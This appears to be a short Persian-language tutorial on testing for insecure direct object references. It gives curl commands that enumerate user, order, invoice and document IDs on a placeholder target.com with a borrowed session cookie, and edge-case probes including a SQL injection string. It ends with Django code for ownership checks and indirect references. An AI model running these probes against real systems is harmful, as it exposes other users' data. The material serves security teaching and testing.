تست ارجاع مستقیم شیء ناامن

1# تست با ID متوالی
2curl "https://target.com/api/user/1" -H "Cookie: session=user_123"
3curl "https://target.com/api/user/2" -H "Cookie: session=user_123"
4curl "https://target.com/api/user/3" -H "Cookie: session=user_123"
5
6# تست با پارامتر
7curl "https://target.com/api/orders?user_id=456" -H "Cookie: session=user_123"
8
9# تست با UUID
10curl "https://target.com/api/user/550e8400-e29b-41d4-a716-446655440000" \
11  -H "Cookie: session=user_123"
12
13# تست با نام فایل
14curl "https://target.com/documents/report_user456.pdf" -H "Cookie: session=user_123"
15
16# تست با شناسه ترکیبی
17curl "https://target.com/api/invoice/2024-001-456" -H "Cookie: session=user_123"

1# تست با مقدار منفی
2curl "https://target.com/api/user/-1"
3
4# تست با مقدار صفر
5curl "https://target.com/api/user/0"
6
7# تست با مقدار بسیار بزرگ
8curl "https://target.com/api/user/999999999"
9
10# تست با رشته
11curl "https://target.com/api/user/admin"
12
13# تست با SQL Injection
14curl "https://target.com/api/user/1 OR 1=1"
15
16# تست با array
17curl "https://target.com/api/user/[1,2,3]"

1import uuid
2
3# استفاده از UUID
4class User(models.Model):
5    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
6    username = models.CharField(max_length=100)
7
8# بررسی مالکیت
9def get_order(request, order_id):
10    order = get_object_or_404(Order, id=order_id)
11    
12    # بررسی مالکیت
13    if order.user != request.user:
14        return Response(status=403)
15    
16    return Response(order.data)
17
18# استفاده از indirect reference
19def get_document(request, doc_ref):
20    # تبدیل شناسه خارجی به داخلی
21    internal_id = request.user.document_mapping.get(doc_ref)
22    if not internal_id:
23        return Response(status=404)
24    
25    document = get_object_or_404(Document, id=internal_id)
26    return Response(document.data)